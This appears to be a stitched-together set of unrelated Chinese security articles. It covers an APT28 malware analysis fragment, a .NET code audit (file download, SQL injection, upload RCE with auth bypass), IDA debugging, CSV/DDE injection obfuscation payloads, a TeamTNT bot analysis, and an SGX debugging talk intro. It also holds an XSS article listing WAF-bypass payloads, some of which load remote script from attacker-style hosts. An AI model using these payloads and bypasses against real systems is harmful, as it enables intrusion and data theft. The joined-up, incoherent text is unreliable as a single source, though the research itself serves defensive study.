打开：Software\Microsoft\Windows\CurrentVersion\Internet
Setting\Servers注册表键值，将C2信息加密后存储在这个键值的Domain项中。
解密出域名：cdnverify.net
该域名是apt28的经典域名
将接下来要请求的信息base64编码，方便之后传输。
首先对google发起网络请求，确保网络畅通。
样本会来回在googl和真实的c2之间来回切换通信，达到隐藏通信的目的。
该样本中使用的是标准的HttpSendRequestA系列API进行网络请求：
发送数据之后，程序会通过InternetReadFile接收并解析返回值。
关于cdnver.dll就分析到这里。感兴趣的小伙伴可以到app.any.run上下载该样本到本地继续分析。
## 0x04 总结
经过分析，可以看到这是一个apt28的老样本，Dropper释放出来的payload就是经典的APT28远控木马。现在他们更常用的payload是由Dephi编写的Zebrocy，后面有机会再分享给大家。 | 社区文章 |
**\- 概述**
这是一篇基于WebApplication开发的.Net应用程序代码审计，程序中所有的代码文件都被编译为一个程序集，保存在目录下的bin文件夹中，由于打码打的不太好(要挨打)，所以尽量只给出代码，提供思路参考学习交流，希望师傅们在拿到.Net程序的时候，也可以简单粗略的定位出明显漏洞（RCE），直接一把梭干掉，喜提年终奖。首先看了一下目录下的Web.config，Global.aspx，发现并没有做全局过滤，或者是什么权限控制，所以我们可以直接去找功能项，然后去反汇编他具体的DLL文件，在根据详情的程序代码，访问功能项页面传入对应的参数进行调用。
**\- 任意文件下载**
在Common中的LXXXFileXXXth.aspx中的的代码如下：
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Loadxxx.aspx.cs" Inherits="XXXXXXX.Newxx.Common.LXXXXX" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>
</div>
</form>
</body>
</html>
重点关注对象：Inherits="XXXXXXX.Newxx.Common.LXXXXX"，这里是引用Dll文件的位置，要考的，在我们确定了程序集目录的情况下，根据特征，利用ILSpy软件，对Dll文件直接进行反汇编，就可以看到详情的代码，可以看到这里引用了XXX文件，我们跟到文件的代码
重点注意到这几行代码
string text = base.Request.QueryString["filepath"];
string str = (base.Request.QueryString["Subject"] == null) ? "" : base.Request.QueryString["Subject"];
......
......
this.PrintInfo(text, str + ".eml");
在PrintInfo(string filePath, string
fileName)中，传入的2个值，分别为Path和下载的文件名字，文件名拼接中的str是可控的（接收到的Subject）+
".eml",text也是可控的（接收到的filepath），所以我们这里只需要根据绝对路径，构造filepath为绝对路径的文件，Subject传不传都没事，因为反正下载后的默认文件名也是.eml，但是内容确实我们读取文件的内容。
我们这里构造Payload，可以看到成功下载了某目录下的.aspx文件
**\- Sql注入**
在PXgXwxxxxe目录下的lxxCxxpxxust.aspx文件中的代码如下：
这里还是跟上面一样，关注重点对象Inherits="XXXXXXX.Newxx.xxx.LXXXXX"，然后快速定位到代码层，前面有过介绍，这里我们直接跟踪，贴出代码。
重点代码分析：
......
this.mouldId = base.Request.QueryString["mouldId"].ToString();
......
DataTable dataSource = new MouldDao().GetDataSource("select DefaultValue from syListField where MouldID='" + this.mouldId + "' and FieldName='CType'");
......
this.type = dataSource.Rows[0][0].ToString();
首先取mouldId的值，然后并没有使用@参数化传参，也没有任何的过滤，导致我们可以拼接Sql语句，造成Sql注入攻击,可以看到这里传入'进入，然后造成了Sql语句报错。
**\- 任意文件上传**
在PXgXwxxxxe目录下的uxxpxxe.aspx文件中的代码如下：
上同，关注关键点Inherits="XXXXXXX.Newxx.xxx.LXXXXX"，定位到代码层，这里贴出代码。
注意其中的几行重点代码：
protected HtmlForm form1;//
DataRow dataRow = new BasePage().GetEmp().Rows[0];//用户权限验证
HttpPostedFile httpPostedFile = base.Request.Files["Filedata"];//multipart/form-data中的name名
其中DataRow dataRow = new
BasePage().GetEmp().Rows[0]用户权限验证，是可以被绕过的，也就是在GetEmp()中，由于我是稀里糊涂绕过的，这里就不讲解了（严重划水，主要确实是稀里糊涂绕过的，大概讲一下思路就是，了解程序本身的加密过程，把他给拖出来，然后Python或者其语言复现重写加密脚本，生成JSON形式的Cookie以及相关ID值，因为他是从COOKIE中直接取值验证的，相当于Token伪造吧。），然后就可以进入到下面的上传主程序，本地构造Html表单。
<body>
<form action="http://xxxxx.com/xxxx/xxxxx.aspx?ItemNo=" method="post" enctype="multipart/form-data">
<input type="file" name="Filedata">
<input type="submit" name="Submit" value="upload" ></form>
</form>
</body>
这里上传成功的话，就会返回文件名，然后根据目录在文件名后面加上后缀aspx即可，算是一个前台RCE了。
**\- 总结**
确认.NET的开发类型，关注web.config和Global.asax文件，熟悉文件目录，反汇编Dll文件，快速定位代码层（也可以直接搜索相关函数，文件操作类，输出类，或者Eval，exec之类的函数），回溯跟踪，根据代码构造Payload，成功Rce（应该打好码了吧/手动滑稽） | 社区文章 |
## 环境搭建
使用windows下面的ida pro 6.6调试Linux下面的程序需要使用ida的远程调试功能。
首先将ida文件夹中的dbgsrv/linux_serverx64文件放入需要调试程序的同级文件夹中。再使用chmod a+x
linux_serverx64 改变该文件的权限。
运行linux_serverx64
打开IDA,选择Debuger->Run->Remote Linux Debugger
点击ok就可以进行远程调试了。
## 反汇编分析
首先我们需要找到main函数（前面的是数据初始化过程，不是写的函数的部分）
然后进入的就是client程序反编译出来的汇编代码
.text:00000000004008C6 push rbp
.text:00000000004008C7 mov rbp, rsp
.text:00000000004008CA sub rsp, 840h //提升堆栈
.text:00000000004008D1 mov rax, fs:28h
.text:00000000004008DA mov [rbp+var_8], rax
.text:00000000004008DE xor eax, eax
.text:00000000004008E0 mov rax, 2E302E302E373231h
.text:00000000004008EA mov [rbp+var_820], rax //[rbp+var_820]为2E302E302E373231h
.text:00000000004008F1 mov [rbp+var_818], 31h //[rbp+var_818]即为31h
.text:00000000004008FA mov edx, 0 //0
.text:00000000004008FF mov esi, 1 //SOCK_STREAM
.text:0000000000400904 mov edi, 2 //AF_INET
.text:0000000000400909 call sub_4007B0 //调用socket（AF_INET,SOCK_STREAM,0）函数
.text:000000000040090E mov [rbp+var_838], eax //局部变量[rbp+var_838]就是sockfd
.text:0000000000400914 lea rax, [rbp+var_830]
.text:000000000040091B mov edx, 10h //sizeof(struct sockaddr_in)
.text:0000000000400920 mov esi, 0 //0
.text:0000000000400925 mov rdi, rax //rax = [rbp+var_830] 即一个局部变量 struct sockaddr_in servaddr
.text:0000000000400928 call sub_400740 //调用memset(&servaddr,0,sizeof(servaddr))函数
.text:000000000040092D mov [rbp+var_830], 2
.text:0000000000400936 mov edi, 1F40h //0x1f40 = 8000 可见端口为8000
.text:000000000040093B call sub_400710 //调用htons
.text:0000000000400940 mov [rbp+var_82E], ax //将转换后的端口号保存到[rbp+var_82E]
.text:0000000000400947 lea rax, [rbp+var_830] //rax = [rbp+var_830] 即一个局部变量 struct sockaddr_in servaddr
.text:000000000040094E lea rdx, [rax+4]
.text:0000000000400952 lea rax, [rbp+var_820] //[rbp+var_820]为2E302E302E373231h
.text:0000000000400959 mov rsi, rax //rsi为[rbp+var_820]为2E302E302E373231h
.text:000000000040095C mov edi, 2 //AF_INET
.text:0000000000400961 call sub_400780 //调用inet_pton
.text:0000000000400966 lea rcx, [rbp+var_830]
.text:000000000040096D mov eax, [rbp+var_838] //局部变量[rbp+var_838]就是sockfd
.text:0000000000400973 mov edx, 10h //第三个参数大小
.text:0000000000400978 mov rsi, rcx //第二个参数
.text:000000000040097B mov edi, eax //第一个参数
.text:000000000040097D call sub_4007A0 //调用connect函数
.text:0000000000400982 mov edi, offset aSendMsgToServe ; "send msg to server: "
.text:0000000000400987 call sub_4006F0 //调用 printf函数
.text:000000000040098C mov rdx, cs:stdin@@GLIBC_2_2_5 //fget()的第三个参数stdin
.text:0000000000400993 lea rax, [rbp+var_810]
.text:000000000040099A mov esi, 400h //字符串长度
.text:000000000040099F mov rdi, rax
.text:00000000004009A2 call sub_400770 //调用 fgets()函数
.text:00000000004009A7 lea rax, [rbp+var_810]
.text:00000000004009AE mov rdi, rax //将内容设为参数给strlen()
.text:00000000004009B1 call sub_400700 //调用 strlen函数
.text:00000000004009B6 mov rdx, rax //发送的信息的长度
.text:00000000004009B9 lea rsi, [rbp+var_810] //发送的信息
.text:00000000004009C0 mov eax, [rbp+var_838] //sockfd
.text:00000000004009C6 mov ecx, 0
.text:00000000004009CB mov edi, eax
.text:00000000004009CD call sub_400720 //调用send()函数
.text:00000000004009D2 lea rsi, [rbp+var_410]
.text:00000000004009D9 mov eax, [rbp+var_838] //将连接套接字赋给eax
.text:00000000004009DF mov ecx, 0 //recv 最后一个参数
.text:00000000004009E4 mov edx, 400h //接受大小
.text:00000000004009E9 mov edi, eax //socket连接套接字
.text:00000000004009EB call sub_4006E0 //调用recv函数
.text:00000000004009F0 mov [rbp+var_834], eax //将recv接收到的内容保存给[rbp+var_834]
.text:00000000004009F6 mov eax, [rbp+var_834]
.text:00000000004009FC cdqe //转换DWORD(eax)成QWORD(rax)
.text:00000000004009FE mov [rbp+rax+var_410], 0
.text:0000000000400A06 lea rax, [rbp+var_410] //此时的rax即为recv()函数接收到的东西
.text:0000000000400A0D mov rsi, rax
.text:0000000000400A10 mov edi, offset aReceivedS ; "Received:%s\n" //将这个字符串的地址给edi给后面打印函数传参
.text:0000000000400A15 mov eax, 0
.text:0000000000400A1A call sub_400730 //调用printf()函数
.text:0000000000400A1F mov eax, [rbp+var_838] //将sockfd赋给eax
.text:0000000000400A25 mov edi, eax //将sockfd赋给edi
.text:0000000000400A27 call sub_400750 //调用close(sockfd)
.text:0000000000400A2C mov edi, 0
.text:0000000000400A31 call sub_400790 //exit(0)
.text:0000000000400A36 db 2Eh
.text:0000000000400A36 nop word ptr [rax+rax+00000000h]
.text:0000000000400A36 main endp ; sp-analysis failed
验证猜想--更改发送内容
1、首先定位到buf地址，由上述反汇编分析中可知，eax中的值为buf的地址。即通过fgets获得的输入内容的存储地址。
2、单步调试，再输入内容后，通过ida的hex-view更改具体值
3、继续执行，得到结果：服务器接收到的内容更变为11111而并非输入的123
4、修改接收到的消息
## 源程序代码分析
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
#include<arpa/inet.h> //设置头文件
#define MAXLINE 1024 //定义最大发送大小
#define PORT 8000 //定义端口号
int main()
{
int sockfd, n, rec_len;
char sendline[MAXLINE];
char buf[MAXLINE];
struct sockaddr_in servaddr;
char ipstr[] = "127.0.0.1";/ /变量定义
sockfd = socket(AF_INET, SOCK_STREAM, 0);//调用套接字函数
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(PORT);
inet_pton(AF_INET, ipstr, &servaddr.sin_addr.s_addr);
connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)); //连接服务器
printf("send msg to server: \n");
fgets(sendlig, MAXLINE, stdin); //录入消息
send(sockfd, sendline, strlen(sendline), 0) ; //发送消息
rec_len = recv(sockfd, buf, MAXLINE,0); //接受消息
buf[rec_len]= '\0';
printf("Received:%s\n",buf); //打印接收到的消息
close(sockfd); //关闭套接字
exit(0);
} | 社区文章 |
原文：<https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation>
**引言**
* * *
如今，Microsoft的Office产品已经成为滋生各种新型攻击手法的沃土，这些攻击手法包括从相对简单的数据注入，如DDE[1]和CSV[2]中的注入方法，到针对嵌入式遗留公式对象的高级攻击方法[3]。反病毒行业很快就注意到了这些技术，并且许多厂商都能够正确检测和识别出大多数攻击载体。然而，事物总是会不断进化的，因此，这些攻击的混淆和变异的出现只是一个时间问题。在Talos和ReversingLabs[4]联合署名的一篇文章中，已经给出了两种处理CSV
DDE注入的新技术（一种是混淆处理，一种是变异处理）。本文旨在解释这些技术背后的一些“原理”，并介绍三种新型的混淆技术。
**CSV/DDE代码注入**
* * *
尽管介绍DDE代码注入技术的文章已经铺天盖地，但迅速回顾一下它们的工作原理并没有什么坏处。CSV（comma-separated
value，CSV）是一种用于存储结构化数据的简单数据格式，它可以用作Excel的数据源（即Excel能够对其进行相应的解析，并使用分隔符间的数据填充单元格）。实际上，如果文件格式与文件扩展名不一致，Excel似乎会恢复到CSV模式；另外，我们可以使用Excel来打开具有这种文件扩展名的文件。
根据Microsoft的说法，DDE（动态数据交换）是在应用程序之间传输数据的方法之一。DDE在Excel中的一种用途，是根据外部应用程序的结果来更新单元格的内容。因此，如果制作包含DDE公式的CSV文件，则在打开时，由于DDE的缘故，Excel将尝试执行外部应用程序——这一切听起来并不复杂。
**深入了解DDE**
* * *
实际上，DDE的工作方式并没有看上去那么简单。当我们打开文件时，Excel会对文件的每一行分别进行检查。在对各行的内容进行分隔并复制到适当的单元格之前，Excel会检查该行是否以其命令字符开头，即用于内部函数的字符：“=”、“+”、“
- ”和“@”。根据命令前缀的不同，可能会发生以下两种情况之一：
1.如果前缀是“=”、“+”或“ - ”，则将其余部分视为表达式
2.如果前缀为“@”，Excel将搜索内部函数（例如SUM()）并将参数解释为表达式
到目前为止，介绍的都是一些人尽皆知的内容，但状态机如何处理表达式可能就不那么广为人知了，甚至可能被认为有点离题了。在谈论DDE时，表达式大致可以表示为：
command|’arguments’!cell
实际上，命令本身也是一种表达式。如果表达式仅包含可打印字符（甚至一些不可打印的字符，例如0xAA，但这取决于代码页），则缓冲区的大小为256字节。由于命令前缀或运算符会占用1个字节，因此，为表达式留下的空间为255个字节。表达式可以是名称、数字、字符串或文件名。
即使有足够的空间，外部应用程序的文件名的最大长度也是8个字符。这似乎是沿用了原来的MS-DOS文件名的“陋习”：只有8个字符长，且没有扩展名。
但是，表达式通常都是递归定义的，并且能够使用常见的算术和逻辑运算符（例如“＆”、“^”、“/”、“+”等）进行链接，甚至可以使用左括号（表示后面为函数的参数）或冒号（用作单元格分隔符）。虽然命令不应该被视为表达式，但是听起来多少还是有些合理性的，只是Null字节会被完全忽略，而空格有时会被忽略（例如，如果命令之前的空格）。
换句话说，一个表达式可以包含无限数量的空字节。在参数和单元格部分中，Null字节似乎也被忽略了。最重要的是，单元格引用根本不必有效。解析并转换表达式后，命令和参数将传递给WinExec()API来执行。
**但等等，还有更多方法**
* * *
据Cisco
Talos[4]的介绍，在野发现的一些样本已经开始采用一些简单的混淆技术，例如预先在DDE公式前后添加文本或二进制数据等。不过，这些似乎只是冰山一角，因为数据解析规则不仅可以对命令周围的内容实现基于前缀和后缀的混淆处理，还可以对命令实现基于前缀、后缀和中缀的混淆处理。
命令的前缀型混淆处理，实际上是利用了这样一事实：允许对表达式进行链接，并且可以在实际命令之前注入任意数量的表达式（每个子表达式最多具有255个字符），甚至可以将多个命令链接在一起，例如：
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
到目前为止，在野外发现的有效载荷都是使用“cmd”、“msexcel”或“msiexec”作为其可执行文件，不过，其实也可以使用具有8个字符或更少字符的、并且在环境中是全局可用的文件名的任何外部应用程序，例如，“regsvr32”、“certutil”和“rundll32”，由于文件名的长度恰好是8个字符，因此打开了一个基于后缀的混淆处理的全新世界：
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
最后，可以在任何部分添加一些空字节或空格，以实现基于中缀的混淆处理。注意，空白符是不能嵌入到命令的名称中的，因为这会将命令名分隔开来，导致相应的命令无法执行。然而，命令之前或参数之间的地方则是法外之地。当然，命令名不区分大小写，因此，我们也可以利用这一点来实现混淆处理。上面介绍的所有混淆处理的POC代码都可以从[这里](https://cdn2.hubspot.net/hubfs/3375217/proof_of_concept.zip?t=1538160223600
"这里")下载(密码是“infected”)。
图1 基于中缀的混淆处理示例
不用说，所有这些混淆技术，不仅可以单独使用，也可以一起使用。并且，这些混淆方法都已使用Excel 2013和Excel
2007进行了测试，并且在撰写本文时，所有防病毒供应商都无法检出这些方法。为了帮助读者检测简单的混淆技术，我们准备了一个YARA规则，该规则可以在[此处](https://cdn2.hubspot.net/hubfs/3375217/obfuscated_dde.yara?t=1538160223600
"此处")下载。
**小结**
* * *
在这篇文章中，我们为读者介绍了三种针对DDE有效载荷的新型混淆方法——基于前缀、中缀和后缀的混淆方法。鉴于Office产品在过去27年中一直处于发展之中，应用如此广泛的功能必将为普通和恶意用户提供一个意想不到但完全合法的竞技场。新型的攻击手段及其混淆的故事将在未来几年持续上演。我们迫切希望看到下一个令人出乎意料且曾经光鲜无比的“老相识”被用来投递有效载荷。
[1] <https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/>
[2] <http://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/>
[3] <https://research.checkpoint.com/another-office-equation-rce-vulnerability/>
[4] <https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html> | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html>**
### 前言
今年早些时候，我们观察到网络犯罪组织TeamTNT使用XMRig加密货币矿工攻击暴露的[Docker
API](https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports "Docker
API")。TeamTNT使用窃取Amazon Web Services（AWS）secure shell（SSH）凭证和用于传播的自我复制行为开展攻击。
TeamTNT的最新攻击涉及到该组织自己的IRC（互联网中继聊天）bot。IRC bot被称为TNTbotinger，能够进行分布式拒绝服务（DDoS）。
需要注意的是，攻击者首先必须在初始目标机器上执行远程代码（RCE），然后才能成功地对系统发起攻击。攻击者可以通过利用错误配置问题、滥用未修补的[漏洞](https://www.trendmicro.com/vinfo/us/security/definition/vulnerability
"漏洞")、利用脆弱或重复使用的密码、密钥或泄漏的凭据等安全缺陷来执行RCE。
### 技术分析
最初的传播始于在受害者机器上运行的恶意Shell脚本。Shell脚本会检查是否存在`/dev/shm/.alsp`文件。如果找不到该文件，脚本将开始执行。
图1.恶意脚本检查系统中是否存在/dev/shm/.alsp文件
然后，脚本将尝试安装curl，wget，bash，make，gcc和pnscan软件包。
图2.恶意脚本试图安装curl，wget，make，gcc和pnscan软件包
由于恶意脚本中使用了包管理器，特别是apt-get和yum。
然后，该脚本将尝试下载并执行多个二进制文件，包括pnscan（一个用于端口扫描的工具）。如果在预期的目录中找不到该工具，也可以手动下载。
以下是此攻击中执行的二进制文件：
* **/dev/shm/sbin**
* **/usr/bin/tshd**
* **/usr/bin/kube**
* **/usr/bin/bioset**
之后，该脚本从受感染的系统中窃取了一些机密信息，例如：
* **用于SSH访问的RSA（Rivest-Shamir-Adleman）密钥（包括AWS路径）**
* **Bash历史**
* **AWS和Docker配置文件**
* **/etc group、/etc/passwd、/etc/shadow、/etc/gshadow**
恶意攻击者将使用TGZ（tar.gz）通过HTTP POST请求上传这些被盗信息到攻击者提供的URL。我们怀疑收集到的信息将作为改进后续攻击的知识库。
图3.从受感染机器窃取的信息通过TGZ文件上传到恶意URL
该脚本还尝试根据ip
route命令的输出查找可访问的设备，该命令将显示到可访问网络的路由。然后将此信息传递给pnscan工具，以便扫描网络上的SSH守护进程。在系统上找到的密钥用于在新发现的设备上进行身份验证尝试。如果这些尝试成功，则在新设备上部署相同的有效负载，并传播攻击。
图4.恶意脚本对受感染的网络上的SSH守护进程进行扫描，并尝试使用被盗的密钥访问网络连接的设备
### 相关的二进制文件
二进制目标平台是基于x86-64指令集的CPU。所有这些二进制文件的第一层都由著名的UPX包装器进行包装。
**/dev/shm/sbin**
二进制文件使用Go编译器进行编译，并且包含使用AES（高级加密标准）加密的ELF（可执行和可链接格式）文件。我们假定使用的打包程序是LaufzeitCrypter的Go版本。
图5. Go编译的二进制文件，其中包含一个AES加密的ELF文件
解密文件后，我们找到了二进制文件的最终有效负载：XMRig加密货币矿工。
* **/usr/bin/tshd**
此shell监听TCP端口51982。通信用硬编码的密钥加密。
图6.侦听TCP端口51982的绑定shell
* **/usr/bin/bioset**
这是一个在TCP端口1982上侦听的shell。通信使用带有硬编码密钥的[Blowfish加密算法](https://www.schneier.com/academic/blowfish/
"Blowfish加密算法")进行加密。经过分析，我们发现这某些平台上不能正常工作。二进制文件还将其进程名重命名为systemd。
图7.监听TCP端口1982的shell
* **/usr/bin/kube**
这个二进制文件是Go编译的，包含AES加密的ELF文件。这是在执行过程中动态加载的，使用的是Go版本的LaufzeitCrypter。AES密钥和初始化向量（IV）硬编码在二进制文件中。
这个二进制文件的最终有效负载是IRC bot，我们将其命名为TNTbotinger。这个bot具有以下DDoS命令:
TNTbotinger还具有以下IRC bot命令：
该bot还具有以下Unix shell命令：
### 结论
Linux的威胁形势在不断演变。TeamTNT的这一最新攻击很好地说明了攻击者是如何破坏包括云在内的整个网络段的。攻击者不断提高攻击的成功率和稳定性，这从TeamTNT使用wget/curl二进制文件进行有效负载部署和使用shell冗余可以看出。
在成功的TNTbotinger攻击中，攻击者能够渗透到受感染的系统中。一旦进入，他们将能够在可访问的网段上看到易受攻击的实例，并且可以对那些本应被外界屏蔽的设备执行RCE。
对于企业来说，采用严格的安全措施（如以下几点）来保持系统的安全性非常重要：
* 对设备（尤其是用于访问办公网络的设备）进行[连续监视和审核](https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/automating-security-continuous-monitoring-and-auditing-in-devops "连续监视和审核")。
* 授予权限时，遵循[最小特权原则](https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/securing-the-4-cs-of-cloud-native-systems-cloud-cluster-container-and-code "最小特权原则")。
* [定期修补和更新系统](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/virtual-patching-patch-those-vulnerabilities-before-they-can-be-exploited "定期修补和更新系统")， 以减少遭受漏洞和其他严重威胁的风险。
* [确保密码强度高](https://blog.trendmicro.com/are-your-passwords-secure-enough/ "确保密码强度高")，[更改默认密码](https://www.trendmicro.com/vinfo/us/security/news/internet-of-things/the-first-steps-in-effective-iot-device-security "更改默认密码")并根据企业需求调整安全设置。
### IOCs
文档名称 | 功能性 | SHA-256 | 检测结果
---|---|---|---
SSH | Shell script dropper, uploader |
D9C46904D5BB808F2F0C28E819A31703F5155C4DF66C4C4669F5D9E81F25DC66 |
Trojan.SH.MALXMR.UWEKQ
sbin | XMRig |
E52646F7CB2886D8A5D4C1A2692A5AB80926E7CE48BDB2362F383C0C6C7223A2 |
Trojan.Linux.BTCWARE.A
tshd | Bind shell (TCP port 51982) |
252BF8C685289759B90C1DE6F9DB345C2CFE62E6F8AAD9A7F44DFB3C8508487A |
Backdoor.Linux.REKOOBE.AA
kube | IRC bot |
B666CD08B065132235303727F2D77997A30355AE0E5B557CD08D41C9ADE7622D |
Trojan.Linux.MALXMR.UWEKY
bioset | Bind shell (TCP port 1982) |
E15550481E89DBD154B875CE50CC5AF4B49F9FF7B837D9AC5B5594E5D63966A3 |
Trojan.Linux.MALXMR.UWEKW
* * * | 社区文章 |
### 前言
* * *
360主机卫士是360旗下的服务器安全软件，为站长免费提供网站后门检测、木马查杀，网站补丁、漏洞防护等服务...
(虽然软件几年前就停止更新，官网挂了，但是从当时的评论上看软件还是很不错的。)
### 环境
* * *
火狐
360主机卫士Apache版
phpStudy2016(PHP-5.4.45+Apache)
测试代码
<?php
$input = @$_REQUEST["xss"];
echo "<div>".$input."</div>"
?>
### 测试
* * *
习惯性的直接上 Burp 用平时收集的 payload fuzz
一遍，结果不怎么理想，能过的很鸡肋...然后我就去网上找资料，找到了一篇文章[xss加入某些字符即可过大多数waf的思路及一些思考](https://mp.weixin.qq.com/s/CCc12FWWJMRP4V6x0XXaoA)根据里面的思路可以绕过。
`<svg onload>` 拦截
`<svg > onload>`不拦截
具体绕过就是先把 `>` html实体编码
将 `>` URL编码
大部分 `xss payload` 加上 `%26%2362` 即可绕过，但是类似 alert(1) 括号可能会被拦截 可以用反引号替换
<svg %26%2362 onload=alert`1`>
给几个测试绕过的 `payload`
<style %26%2362 onload=alert`1`>
<img %26%2362 src=1 onerror=alert`1`>
<audio %26%2362 src=x onerror=alert`1`>
<svg %26%2362 onload=appendChild(createElement('script')).src='//xs.ax/HfcB'>
该文章在最后说明此方法可以绕过多款waf，接下来我们来测试。
`云锁`：
绕过
<svg %26%2362 onload=alert`1`>
`奇安信CDN`：
拦截
<svg %26%2362 onload=alert`1`>
绕过方法(使用HTML5新标签)
`<select autofocus onfocus=[2].find(alert)>`
`安全狗`：
绕过
`阿里云`：
拦截
绕过方法(这个百度下就有)
<img src=# onerror=alert`2`>
<input onfocus="document.body.appendChild(createElement('script')).src='//xss.xx/B6Bb'" autofocus>
`百度云加速`：
绕过
### 小结
此次利用 `>` 字符的编码绕过的姿势，再到其他 waf 测试到此结束，至于其他特殊字符是否也有绕过，感兴趣的可以研究下，如有错误之处，请师傅指正。
(文笔尚浅，内容浅显，不足之处欢迎师傅们指点和纠正，感激不尽)
### 参考
[xss加入某些字符即可过大多数waf的思路及一些思考](https://mp.weixin.qq.com/s/CCc12FWWJMRP4V6x0XXaoA) | 社区文章 |
# 直播视频公布 | 窥探有方——调试Released SGX Enclave
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 直播主题
Intel SGX窥探之旅
## 内容简介
SGX是Intel基于CPU扩展的一种革命性的安全技术，旨在提供具有最小攻击面的硬件辅助的可信执行环境。实际应用时主要用来保护使用中的数据的机密性和完整性。本议题主要是探索SGX的工作原理和安全优势，同时分享我们发现的一个SGX安全漏洞一一可将Released
Enclave转换成debug模式以窥视其内部数据。
除此之外，本议题也会探索SGX在数据安全领域的一些应用。
## 讲师简介
苏小智
360安全工程院冰刃实验室，安全开发专家。主要研究方向为Linux内核、主动防御、虚拟化及其安全、loT、SGX,
设计并研发了多款终端硬件产品，终端安全和云安全软件产品。
直播视频：
您的浏览器不支持video标签
* * *
作者：Suezi@[360安全工程院冰刃实验室](https://www.iceswordlab.com)
Intel Software Guard Extensions (Intel
SGX)是基于CPU扩展的一种革命性的安全技术,旨在提供具有最小攻击面的硬件辅助的可信执行环境。它允许应用程序或应用程序的一部分运行在一个称为Enclave的安全容器中，任何应用程序，包括OS、Hypervisor、BIOS均无法访问其内容。Enclave使用的页面和数据结构由CPU内部的MEE加密存储在EPC中，负责映射Enclave页面的页表由OS管理，但OS无法获取其内容，仅Enclave可访问。然而攻击者总是想方设法以直接或间接的方式来获取数据，比如隐私数据，加密密钥，或者篡改代码的执行流。分析SGX的工作模型，设法将Release版本的Enclave转换成Debug版本，再借助SGX开发套件中的sgx-gdb工具，可实现对SGX Enclave的动态调试，之后便可为所欲为。
## 1 引言
当程序运行在某个计算平台，特别是在公有云时，其依赖的运行环境可能存在着安全漏洞甚至系统已被攻破，代码和数据的安全性均无法得到保障。此时建立一个可信计算环境（TEE）是十分必要的安全手段和需求，如ARM平台的Trust
Zone，Intel的SGX。SGX自Intel的第5代Xeon
E3系列CPU开始可用，Intel在CPU内部提供一个具备最小攻击面的的执行环境——SGX，不管是应用程序还是具备root权限的操作系统还是VMM或者BIOS，都无法直接读取或修改Enclave的内容。
与普通的应用程序开发流程类似，Enclave程序在开发过程分为Debug version、PreRelease version、Release
Version，不同的版本在构建时使用的密钥类型不一样，Debug版本可采用自生成的密钥，Release版本必须采用Intel签发的，其中Debug版本支持
sgx-gdb调试。sgx-gdb基于普通gdb添加针对SGX的ptrace，除了不支持少数的gdb指令（info
sharedlibrary、charset、gcore）和受限支持next/step、call/print 外，使用和功能上与普通gdb无异。
本文以SGX的工作模型为切入点，主要研究如何将Release模式的Enclave转换成Debug，之后借助sgx-gdb工具完成对正常Enclave的窥探。本文提出并实现静态转换和动态转换的两种Released Enclave to Debug的方法。
## 2 SGX概述
根本上，SGX是Intel指令集架构（ISA）的扩展，设计了一套专用的指令集用于创建一个可信执行环境Enclave，可被应用程序用来保存/运行数据或代码。SGX利用CPU提供的指令在内存中划分一部分区域供Enclave使用，这部分内存称为EPC（Enclave
Page Cache）,并且限定每个EPC页面只能分配给一个Enclave，Enclave使用的页面和数据结构由CPU内部的MEE(Memory
Encryption Engine)加密存储在EPC中。EPC的访问控制由跟CPU体系相关的硬件EPCM（Enclave Page Cache
Map）负责，任何Non-Enclave都不能访问EPC的内容，任何软件均不可访问EPCM。SGX扩展出一个新的CPU模式，叫做Enclave模式，当CPU要访问Enclave中的数据时，需要切换到Enclave模式。Enclave和Non-Enclave通过EENTER和EEXIT指令进行切换，当Enclave运行过程被中断或异常打断时，Enclave通过AEX（Asynchronous
Enclave Exit）机制退出到Non-Enclave模式。在模式切换时，其运行状态会保存到SSA（State Save Area）中，并清除TLB。
相比其他TEE，SGX的TCB（Trust Computing Base）更小，仅局限于Enclave
软件本身和CPU及其固件。从攻击面上对比，普通应用程序和SGX应用程序分别如图1和图2[1]所示。
图1 普通应用程序攻击面
图2 SGX应用程序的攻击面
## 3 SGX 详述
### **3.1 SGX** **术语**
**Enclave** ：不同的语境下有不同的含义，可以指SGX可信执行环境，也可以指应用程序里将要在可信执行环境里运行的那部分代码。
**EPC** ：Enclave Page
Cache，一个加密的内存区域。实现上可以通过BIOS预留计算机中DRAM的一部分做专用内存，再利用CPU的MEE对专用内存进行高效加解密。可有效防止内存嗅探攻击。
**MEE** ：Memory Encryption Engine， CPU中的加密引擎。
**EPCM** : Enclave Page Cache Map，为了对每个EPC页进行访问控制，在CPU特定的数据结构中维持EPC
entry的有效性和Enclave的访问权限（R/W/X）以及EPC页的类型（PT_SECS/PT_TCS/PT_REG/PT_VA/PT_TRIM）。
